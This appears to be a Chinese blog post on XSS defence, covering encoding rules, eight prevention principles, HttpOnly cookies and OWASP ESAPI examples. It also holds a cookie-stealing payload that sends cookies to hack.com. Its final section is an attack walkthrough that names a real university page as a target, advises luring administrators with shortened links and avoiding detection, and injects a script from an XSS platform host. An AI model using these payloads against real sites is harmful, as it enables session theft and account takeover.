(二)浅谈前端WEB安全性
5.XSS防御
6.XSS分类及挖掘方法
5.XSS防御
一.概述
攻击者可以利用XSS漏洞向用户发送攻击脚本,而用户的浏览器因为没有办法知道这段脚本是不可信的,所以依然会执行它。
a:输入检查,服务端和客户端都要做。
1.页面中所有的input框
2.window.location(href、hash等)
3.window.name
4.document.referrer
5.document.cookie
6.localstorage
7.XMLHttpRequest返回的数据
...
b:输出检查 在变量输出到html页面时,可以使用HtmlEncode来防御XSS攻击,JS中可以使用JavascriptEncode。
1.document.write
2.xxx.innerHTML=
3.xxx.outerHTML=
4.innerHTML.replace
5.document.attachEvent
6.window.attachEvent
7.document.location.replace
8.document.location.assign
如果使用jquery,append、html、before、after等,其实就是拼接变量到HTML页面时产生。
大部分的MVC框架在模板(view层)会自动处理XSS问题,例如AngularJS。
用什么编码转义
1.HTMLEncode,就是将字符转换成HTMLEntities,一般会转[&、<、>、"、'、/]这6个字符。
2.JavaScriptEncode,是使用”\“对特殊字符进行转义。
哪些地方需要什么编码转义
1.在HTML标签、属性中输出——用HTMLEncode
2.在script标签中输出——用JavaScriptEncode
3.在事件中输出——用JavaScriptEncode
4.在CSS中输出
用类似JavaScriptEncode的方式。将除了字母、数字外的所有字符都编码成十六进制形式”\uHH“。
5.在地址中输出
一般如果变量是整个URL,则先检查变量是否以“http”开头(不是则帮忙添加http),保证不会出现伪协议类的XSS攻击。然后再对变量进行URLEncode。
PS:URLEncode会将字符转换成”%HH“形式。
总结
前端开发人员要注意在正确的地方使用正确的编码方式,有时为了防御XSS,在一个地方我们需要联合HTMLEncode、JavaScriptEncode进行编码,甚至是叠加,并不是固定一种方式编码(又是具体情况具体分析)。
一般存储型XSS风险高于反射型XSS。反射型XSS一般要求攻击者诱使用户点击一个包含XSS代码的URL链接;而存储型只需要用户查看一个正常的URL链接,当用户打开页面时,XSS Payload就会被执行。这样漏洞极其隐蔽,且埋伏在用户的正常业务中,风险很高。(引自白帽子讲Web安全原文)
二.8条规则将详细介绍如何在正确的地方使用正确的编码来消除XSS漏洞。
原则1:不要在页面中插入任何不可信数据,除非这些数已经据根据下面几个原则进行了编码
因为HTML里有太多的地方容易形成XSS漏洞,而且形成漏洞的原因又有差别,比如有些漏洞发生在HTML标签里,有些发生在HTML标签的属性里,还有的发生在页面的<Script>里,甚至有些还出现在CSS里,再加上不同的浏览器对页面的解析或多或少有些不同,使得有些漏洞只在特定浏览器里才会产生。如果想要通过XSS过滤器(XSS Filter)对不可信数据进行转义或替换,那么XSS过滤器的过滤规则将会变得异常复杂,难以维护而且会有被绕过的风险。所以实在想不出有什么理由要直接往HTML页面里插入不可信数据,就算是有XSS过滤器帮你做过滤,产生XSS漏洞的风险还是很高。
最重要的是,千万不要引入任何不可信的第三方JavaScript到页面里,一旦引入了,这些脚本就能够操纵你的HTML页面,窃取敏感信息或者发起钓鱼攻击等等。
原则2:在将不可信数据插入到[HTML标签之间]时,对这些数据进行[HTML编码]
往HTML标签属性部分插入不可信数据不属于这块,因为这两者需要进行不同类型的编码。往HTML标签之间插入不可信数据的时候,需要对不可信数据进行HTML编码。很多Web框架都提供了HTML Entity编码的函数,我们只需要调用这些函数就好。
注意:不同标签之间或者同一个标签中[大部分标签里面script优先级高些]
<div>$var</div>
===》
<div><script>alert(/XSS/)</script></div>
===》
<a href=# ><img src=# onerror=alert(1) /></a>
[编码规则]它需要对下面这6个特殊字符进行编码:
& –> &
< –> <
> –> >
” –> "
‘ –> '
/ –> /
特别说明的是: 需要对斜杠号( / )编码,因为在进行XSS攻击时,斜杠号对于关闭当前HTML标签非常有用
原则3:在将不可信数据插入到[HTM标签属性]里时,对这些数据进行[HTML属性编码]
HTML属性(例如width、name、value属性)的值部分插入不可信数据的时候,应该对数据进行HTML属性编码。但是插入HTML标签的事件处理属性(例如onmouseover),本条原则不适用,应该用下面介绍的原则4对其进行JavaScript编码。
<div id="abc name="$var"></div>
===》
<div id="abc" name=""><script>alert(/XSS/)</script><""></div>
[编码规则]
除了阿拉伯数字和字母,对其他所有的字符进行编码,只要该字符的ASCII码小于256。编码后输出的格式为 &#xHH; (以&#x开头,HH则是指该字符对应的十六进制数字,分号作为结束符)
例如,如果属性没有使用引号,又没有对数据进行严格编码,那么一个空格符就可以闭合掉当前属性。请看下面这个攻击:
假设HTML代码是这样的:
<div width=$INPUT> …content… </div>
攻击者可以构造这样的输入:
x onmouseover=”javascript:alert(/xss/)”
最后,在用户的浏览器里的最终HTML代码会变成这个样子:
<div width=x onmouseover=”javascript:alert(/xss/)”> …content… </div>
只要用户的鼠标移动到这个DIV上,就会触发攻击者写好的攻击脚本。在这个例子里,脚本仅仅弹出一个警告框,除了恶作剧一下也没有太多的危害,但是在真实的攻击中,攻击者会使用更加具有破坏力的脚本,例如下面这个窃取用户cookie的XSS攻击:
x /> <script>var img = document.createElement(“img”);
img.src = ”http://hack.com/xss.js?” + escape(document.cookie);
document.body.appendChild(img);</script> <div
原则4:在将不可信数据插入到SCRIPT里时,对这些数据进行SCRIPT编码
这条原则主要针对动态生成的JavaScript代码,这包括脚本部分以及HTML标签的事件处理属性
[编码规则]
在对不可信数据做编码的时候,千万不能图方便使用反斜杠( \ )对特殊字符进行简单转义 ,这样做是不可靠的。因为浏览器在对页面做解析的时候,会先进行HTML解析,然后才是JavaScript解析。
假设代码片段如下:
<script>
var message = "$VAR";
</script>
攻击者输入的内容为:
\";alert('xss');//
如果只是对双引号进行简单转义,将其替换成 "的话,攻击者输入的内容在最终的页面上会变成:
<script>
var message = "\\";alert('xss');//";
</script>
浏览器在解析的时候,会认为反斜杠后面的那个双引号和第一个双引号相匹配,继而认为后续的alert(‘xss’)是正常的JavaScript脚本,因此允许执行。
原则5:在将不可信数据插入到Style属性里时,对这些数据进行CSS编码
Style标签或者Style属性里插入不可信数据的时候,需要对这些数据进行CSS编码。应该只允许把不可信数据放入到CSS属性的值部分,并进行适当的编码。
原则6:在将不可信数据插入到HTML URL里时,对这些数据进行URL编码
在地址中输出:一般是在URL的path(路径)或者search(参数)中输出。
攻击方法:
a)
<a href="http://www.evil.com/?test=$var">test</a>
===》
<a href="http://www.evil.com/?test=" onclick=alert(1)"" >test</a>
b)
<a href="$var"></a>
===》构造伪协议实施攻击。
<a href="javascript:alert(1);"></a>
[编码规则]
在对URL进行编码的时特别注意的:不要对整个URL进行编码,因为不可信数据可能会被插入到href, src或者其他以URL为基础的属性里,这时需要对数据的起始部分的协议字段进行验证,否则攻击者可以改变URL的协议,例如从HTTP协议改为DATA伪协议,或者javascript伪协议。先检查变量是否以”http“开头(如果不是则自动添加),以保证不会出现伪协议类的XSS攻击。在此之后,再对变量进行URLEncode。
原则7:使用富文本时,使用XSS规则引擎进行编码过滤
富文本允许用户提交一些自定义的HTML代码,比如BBS发帖,写博客文章等,用户提交的富文本信息里往往包含了HTML标签,甚至是JavaScript脚本,如果不对其进行适当的编码过滤的话,则会形成XSS漏洞。
[编码规则]
在标签、属性、事件的选择上,应该使用白名单,避免使用黑名单。比如,一些危险的标签:<iframe>、<script>、<base>、<form>等也应严格禁止,只允许<a>、<img>、<div>等比较“安全”的标签存在。“事件”应该被严格禁止。需要注意的是,经过规则引擎编码过滤后的内容只能放在<div>, <p>等安全的HTML标签里,不要放到HTML标签的属性值里,更不要放到HTML事件处理属性里,或者放到<SCRIPT>标签里。
原则8:为Cookie加上HttpOnly标记。
许多XSS攻击的目标就是窃取用户Cookie,这些Cookie里往往包含了用户身份认证信息(比如SessionId),一旦被盗,黑客就可以冒充用户身份盗取用户账号。窃取Cookie一般都会依赖JavaScript读取Cookie信息,而HttpOnly标记则会告诉浏览器,被标记上的Cookie是不允许任何脚本读取或修改的,这样即使Web应用产生了XSS漏洞,Cookie信息也能得到较好的保护,达到减轻损失的目的。
总结
由于很多地方都可能产生XSS漏洞,而且每个地方产生漏洞的原因又各有不同,所以对于XSS的防御来说,我们需要在正确的地方做正确的事情,即根据不可信数据将要被放置到的地方进行相应的编码,比如放到<div>标签之间的时候,需要进行HTML编码,放到<div>标签属性里的时候,需要进行HTML属性编码,等等。
6.xss分类及挖掘方法
来源
反射XSS、储蓄XSS、DOM XSS。
反射型XSS:反射XSS是XSS分类中最多的,软件(JSky、Safe3WVS、Netsparker等)都可以挖掘出反射XSS,但更隐蔽的XSS还是需要手工的
原理:Hacker——发现存在反射XSS的URL——根据输出点的环境构造XSS代码——进行编码、缩短(可有可无,是为了增加迷惑性)——发送给受害人——受害打开后,执行XSS代码——完成hacker想要的功能(获取cookies、url、浏览器信息、IP等等)
1.软件找到后,我们来打开http://gdjy.hfut.edu.cn/viewcomp.jsp?id=hzgz123,打开后,我们试着在参数也就是id=hzgz123后面加上唯一性woaini字符串。发现woaini字符在a标签的href属性里,那我们就可以根据这个环境来构造了,我们可以用"></a><script>alert("xss")</script>来先闭合掉a标签。然后再用script来运行js代码。也可以这样onclick="alert(1)";>123</a>//点击123触发onclick来运行js,然后把后面的内容来注释掉。构造好代码后,把url变成短连接,发送给管理员,诱惑管理员打开,就可以获取管理员的cookies了。
2.手工的话,记住一句话“见框就插、改数据包不可见部分、改URL参数、js分析”就可以了。改数据包、js分析比较深,现在我就不再阐述了,见框就插,找到一个input输入框,先输入唯一字符串,然后看源代码里有没有出现,再输入<>""/&()来看看过滤了哪些字符,根据过滤的字符,来构造xss。
储蓄型XSS:有的人叫持久型,储蓄型XSS其实和反射型XSS差不多,只是储蓄型把数据保存到服务端,而反射型只是让XSS游走在客户端上。
打开留言处,点击留言(这里最好不要使用<script>alert("xss")</script>来测试是否存在XSS漏洞,容易被管理员发现,所以你可以使用<a></a>来测试,如果成功了,不会被管理员发现)OK,我先在留言里出输入<a>s</a>提交留言,F12打开审查元素,来看我们输入的标签是否被过滤了,发现没有过滤,那我就在xss平台里创建一个项目,然后再次留言,里面写上,“<script src="http://xss8.pw/EFe2Ga?1409273226"></script>请问怎么报名啊”。只要你打开后台地址,就会在第一时间获取你的cookies,以及后台地址(因为留言板一般都在后台做审核)。
推荐使用OWASP提供的ESAPI函数库,它提供了一系列非常严格的用于进行各种安全编码的函数。在当前这个例子里,你可以使用:
String encodedContent = ESAPI.encoder().encodeForHTML(request.getParameter(“input”));
可以使用ESAPI提供的函数进行HTML属性编码:
String encodedContent =
ESAPI.encoder().encodeForHTMLAttribute(request.getParameter(“input”));
可以使用ESAPI提供的函数进行JavaScript编码:
String encodedContent = ESAPI.encoder().encodeForJavaScript(request.getParameter(“input”));
可以使用ESAPI提供的函数进行CSS编码:
String encodedContent = ESAPI.encoder().encodeForCSS(request.getParameter(“input”));
可以使用ESAPI提供的函数进行URL编码:
String encodedContent = ESAPI.encoder().encodeForURL(request.getParameter(“input”));
ESAPI还提供了一些用于检测不可信数据的函数,在这里我们可以使用其来检测不可信数据是否真的是一个URL:
String userProvidedURL =
request.getParameter(“userProvidedURL”);
boolean isValidURL =
ESAPI.validator().isValidInput(“URLContext”, userProvidedURL, “URL”, 255, false);
if (isValidURL) {
<a href=”<%= encoder.encodeForHTMLAttribute(userProvidedURL) %>”></a>
}
推荐XSS规则过滤引擎:OWASP AntiSamp或者Java HTML Sanitizer
网友评论